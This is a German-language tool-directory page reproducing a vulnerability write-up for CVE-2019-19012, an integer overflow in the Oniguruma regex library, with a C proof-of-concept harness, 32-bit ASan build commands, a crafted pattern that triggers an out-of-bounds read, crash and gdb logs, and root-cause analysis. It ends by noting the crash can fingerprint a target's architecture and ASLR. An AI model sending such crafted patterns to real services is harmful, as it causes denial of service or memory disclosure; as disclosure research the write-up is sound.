Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2019-19012 — Integer-Überlauf in Oniguruma | Kitploit
Tools/GitHubGitHub/manhndd/cve-2019-19012
SpeicherforensikSchwachstellenanalyseExploitationInformationsbeschaffungFuzzingBinäranalyse
GitHubmanhndd/cve-2019-19012

CVE-2019-19012

Integer-Überlauf in Oniguruma

Repository anzeigen
4vor 6 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Ganzzahlüberlauf in Oniguruma

Ein Ganzzahlüberlauf in der Funktion search_in_range in regexec.c in Oniguruma 6.x vor 6.9.4_rc2 führt zu einem Lesezugriff außerhalb der Grenzen, wobei der Offset dieses Lesezugriffs unter der Kontrolle eines Angreifers steht. (Dies betrifft nur die 32-Bit-kompilierte Version). Entfernte Angreifer können einen Denial-of-Service oder die Offenlegung von Informationen verursachen oder möglicherweise andere nicht näher bezeichnete Auswirkungen haben, indem sie einen manipulierten regulären Ausdruck verwenden.

Forscher: ManhND vom Tarantula Team, VinCSS (ein Mitglied der Vingroup)

Was ist Oniguruma

Oniguruma von K. Kosako ist eine unter BSD-Lizenz stehende Bibliothek für reguläre Ausdrücke, die eine Vielzahl von Zeichenkodierungen unterstützt. Die Programmiersprache Ruby (ab Version 1.9) sowie das Multi-Byte-String-Modul von PHP (seit PHP5) verwenden Oniguruma als ihre Engine für reguläre Ausdrücke. Es wird auch in Produkten wie Atom, GyazMail Take Command Console, Tera Term, TextMate, Sublime Text und SubEthaEdit verwendet.

Proof of Concept

Im Folgenden ein PoC in C. Es erhält das erste Argument als Muster und das zweite Argument als Zeichenfolge, die abgeglichen werden soll.

PoC-Code anzeigen
root@kitploit:~
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "oniguruma.h"

static int
search(regex_t* reg, unsigned char* str, unsigned char* end)
{
  int r;
  unsigned char *start, *range;
  OnigRegion *region;

  region = onig_region_new();

  start = str;
  range = end;
  r = onig_search(reg, str, end, start, range, region, ONIG_OPTION_NONE);
  if (r >= 0 ) {
    int i;

    fprintf(stdout, "match at %d  (%s)\n", r,
            ONIGENC_NAME(onig_get_encoding(reg)));
    for (i = 0; i < region->num_regs; i++) {
      fprintf(stdout, "%d: (%d-%d)\n", i, region->beg[i], region->end[i]);
    }
  }
  else if (r == ONIG_MISMATCH) {
    fprintf(stdout, "search fail (%s)\n",
            ONIGENC_NAME(onig_get_encoding(reg)));
  }
  else { /* error */
    char s[ONIG_MAX_ERROR_MESSAGE_LEN];
    onig_error_code_to_str((UChar* )s, r);
    fprintf(stdout, "ERROR: %s\n", s);
    fprintf(stdout, "  (%s)\n", ONIGENC_NAME(onig_get_encoding(reg)));
    
    onig_region_free(region, 1 /* 1:free self, 0:free contents only */);
    return -1;
  }

  onig_region_free(region, 1 /* 1:free self, 0:free contents only */);
  return 0;
}

int main(int argc, char* argv[])
{
  int r;
  regex_t* reg;
  OnigErrorInfo einfo;

  char *pattern = argv[1];
  char *pattern_end = pattern + strlen(pattern);
  OnigEncodingType *enc = ONIG_ENCODING_ASCII;

  char* str = argv[2];
  char* str_end = str+strlen(str);

  onig_initialize(&enc, 1);
  r = onig_new(&reg, (unsigned char *)pattern, (unsigned char *)pattern_end,
               ONIG_OPTION_IGNORECASE, enc, ONIG_SYNTAX_DEFAULT, &einfo);
  if (r != ONIG_NORMAL) {
    char s[ONIG_MAX_ERROR_MESSAGE_LEN];
    onig_error_code_to_str((UChar* )s, r, &einfo);
    fprintf(stdout, "ERROR: %s\n", s);
    onig_end();

    if (r == ONIGERR_PARSER_BUG ||
        r == ONIGERR_STACK_BUG  ||
        r == ONIGERR_UNDEFINED_BYTECODE ||
        r == ONIGERR_UNEXPECTED_BYTECODE) {
      return -2;
    }
    else
      return -1;
  }

  if (onigenc_is_valid_mbc_string(enc, str, str_end) != 0) {
    r = search(reg, str, str_end);
  } else {
    fprintf(stdout, "Invalid string\n");
  }

  onig_free(reg);
  onig_end();
  return 0;
}

Kompilieren Sie Oniguruma und den PoC im 32-Bit-Modus:

root@kitploit:~
./configure CC=gcc CFLAGS="-m32 -O0 -ggdb3 -fsanitize=address" LDFLAGS="-m32 -O0 -ggdb3 -fsanitize=address" && make
gcc -m32 -fsanitize=address -O0 -I./oniguruma/src -ggdb3 PoC.c ./oniguruma/src/.libs/libonig.a -o PoC

Um den Fehler auszulösen, übergeben Sie die Zeichenfolge "x" und Muster im Format "x{a}{b}0", wobei a und b kleiner als 100000 sind. Zum Beispiel:

root@kitploit:~
root@manh-ubuntu16:~/fuzz/fuzz_oniguruma# ./PoC x{50000}{80000}0 x
ASAN:SIGSEGV
=================================================================
==4961==ERROR: AddressSanitizer: SEGV on unknown address 0xee5a5fdb (pc 0x080bf994 bp 0xffef2418 sp 0xffef23e0 T0)
    #0 0x80bf993 in sunday_quick_search /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:4831
    #1 0x80c0685 in forward_search /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:4956
    #2 0x80c2830 in search_in_range /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:5375
    #3 0x80c17f4 in onig_search /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:5168
    #4 0x8048cc4 in search /root/fuzz/fuzz_oniguruma/poc-dmax-search-in-range.c:17
    #5 0x8049536 in main /root/fuzz/fuzz_oniguruma/poc-dmax-search-in-range.c:78
    #6 0xf7049636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
    #7 0x8048b00  (/root/fuzz/fuzz_oniguruma/poc-dmax-search-in-range+0x8048b00)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:4831 sunday_quick_search
==4961==ABORTING
root@manh-ubuntu16:~/fuzz/fuzz_oniguruma#

Analyse

Referenzierte Quellcode-Version: ca7bddd858dcdc8322d619cf41ab125a2603a0d4

Die Ursache liegt in der Zeile regex.c:5365, wo ein Ganzzahlüberlauf auftritt:

root@kitploit:~
5360	      sch_range = (UChar* )range;
5361	      if (reg->dmax != 0) {
5362	        if (reg->dmax == INFINITE_LEN)
5363	          sch_range = (UChar* )end;
5364	        else {
5365	          sch_range += reg->dmax;  //// => overflow
5366	          if (sch_range > end) sch_range = (UChar* )end;
5367	        }
5368	      }

Ein Ganzzahlüberlauf tritt auf, wenn reg->dmax einen ausreichend großen Wert erhält. reg->dmax scheint eine Distanz zu sein, die gleich <number> im Muster "x{<number>}y" ist, wobei x ein beliebiges Zeichen sein kann und y eine Ziffer sein muss. Zum Beispiel, wenn das Muster "a{1000}5" bereitgestellt wird, ist reg->dmax = 1000. Siehe das folgende gdb-Protokoll mit "./PoC a{1000}5 b":

root@kitploit:~
root@manh-ubuntu16:~/fuzz/fuzz_oniguruma# gdb ./PoC
...
(gdb) b 61 # set breakpoint after onig_new
Breakpoint 1 at 0x804943d: file poc-dmax-search-in-range.c, line 61.
(gdb) r a{1000}0 b
Starting program: /root/fuzz/fuzz_oniguruma/PoC a{1000}0 b
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=3, argv=0xffffd634) at poc-dmax-search-in-range.c:61
warning: Source file is more recent than executable.
61	  if (r != ONIG_NORMAL) {
(gdb) p *reg
$1 = {ops = 0xf5b03760, ocs = 0xf5900be0, ops_curr = 0xf5b037b0, ops_used = 5, 
  ops_alloc = 8, string_pool = 0x0, string_pool_end = 0x0, num_mem = 0, 
  num_repeat = 1, num_empty_check = 0, num_call = 0, capture_history = 0, 
  push_mem_start = 0, push_mem_end = 0, empty_status_mem = 0, 
  stack_pop_level = 0, repeat_range_alloc = 4, repeat_range = 0xf6100f90, 
  enc = 0x8139e00 <OnigEncodingASCII>, options = 1, 
  syntax = 0x8127160 <OnigSyntaxOniguruma>, case_fold_flag = 1073741824, 
  name_table = 0x0, optimize = 2, threshold_len = 1001, anchor = 0, 
  anchor_dmin = 0, anchor_dmax = 0, sub_anchor = 0, exact = 0xf6500430 "0", 
  exact_end = 0xf6500431 "", 
  map = '\002' <repeats 48 times>, "\001", '\002' <repeats 207 times>, 
  map_offset = 1, dmin = 1000, dmax = 1000, extp = 0x0}
(gdb)

Bei Mustern der Form "x{<number>}y" erhält dmax den größten Wert 100000, da die Wiederholungszahl nicht größer als 100000 sein kann (ONIG_MAX_REPEAT_NUM). Wenn wir jedoch Muster im Format "x{<number1>}{<number2>}y" bereitstellen, erhalten wir reg->dmax = number1 * number2. Diese Multiplikation erfolgt im folgenden Code (regcomp.c:6157):

root@kitploit:~
6156	      else {
6157	        max = distance_multiply(xo.len.max, qn->upper);    //// => multiply into dmax
6158	      }

Siehe das folgende gdb-Protokoll mit "./PoC a{1000}{2}5 b":

root@kitploit:~
(gdb) r a{1000}{2}5 b
...
Breakpoint 1, main (argc=3, argv=0xffffd634) at poc-dmax-search-in-range.c:61
61	  if (r != ONIG_NORMAL) {
(gdb) p *reg
$3 = {ops = 0xf5b03760, ocs = 0xf5900be0, ops_curr = 0xf5b037b0, ops_used = 5, 
  ops_alloc = 8, string_pool = 0x0, string_pool_end = 0x0, num_mem = 0, 
  num_repeat = 1, num_empty_check = 0, num_call = 0, capture_history = 0, 
  push_mem_start = 0, push_mem_end = 0, empty_status_mem = 0, 
  stack_pop_level = 0, repeat_range_alloc = 4, repeat_range = 0xf6100f90, 
  enc = 0x8139e00 <OnigEncodingASCII>, options = 1, 
  syntax = 0x8127160 <OnigSyntaxOniguruma>, case_fold_flag = 1073741824, 
  name_table = 0x0, optimize = 2, threshold_len = 2001, anchor = 0, 
  anchor_dmin = 0, anchor_dmax = 0, sub_anchor = 0, exact = 0xf6500430 "5", 
  exact_end = 0xf6500431 "", 
  map = '\002' <repeats 53 times>, "\001", '\002' <repeats 202 times>, 
  map_offset = 1, dmin = 2000, dmax = 2000, extp = 0x0}
(gdb)

Noch mehr: Die Wiederholungszahl kann beliebig oft verschachtelt werden:

root@kitploit:~
"x{n1}{n2}...{nk}5" => dmax = n1 * n2 * ... * nk

Also kann dmax (ein unsigned integer) jeden Wert im Bereich [0, 0xffffffff) annehmen, und ein Ganzzahlüberlauf bei sch_range += reg->dmax; ist definitiv möglich. Das Gleiche gilt für reg->dmin. Dieser Ganzzahlüberlauf betrifft jedoch nur die 32-Bit-Version. Bei der 64-Bit-Version ist sch_range ein 64-Bit-Zeiger, und dmax ist immer noch ein unsigned integer, sodass kein Ganzzahlüberlauf auftreten kann.

Der obige PoC stürzt ab, weil in sunday_quick_search der Ganzzahlüberlauf dazu führt, dass auf eine ungültige Speicheradresse zugegriffen wird:

root@kitploit:~
while (s < end) {
    p = s;
    t = tail;
    while (*p == *t) {                             // => p points to invalid address
      if (t == target) return (UChar* )p;
      p--; t--;
    }
    if (s + map_offset >= text_end) break;
    s += reg->map[*(s + map_offset)];
  }

Wenn ASLR aktiviert ist und wir ein geeignetes Muster bereitstellen, bildet ASLR manchmal eine gültige Seite an der dereferenzierten Adresse ab, manchmal keine Seite, sodass der PoC manchmal abstürzt und manchmal nicht. Daher kann dieser PoC verwendet werden, um zu erkennen, ob das Zielsystem 32-Bit oder 64-Bit ist. Und wenn es 32-Bit ist, können wir erkennen, ob ASLR aktiviert ist oder nicht.

Referenz

  • https://github.com/kkos/oniguruma/issues/164
  • https://en.wikipedia.org/wiki/Oniguruma
Tool herunterladen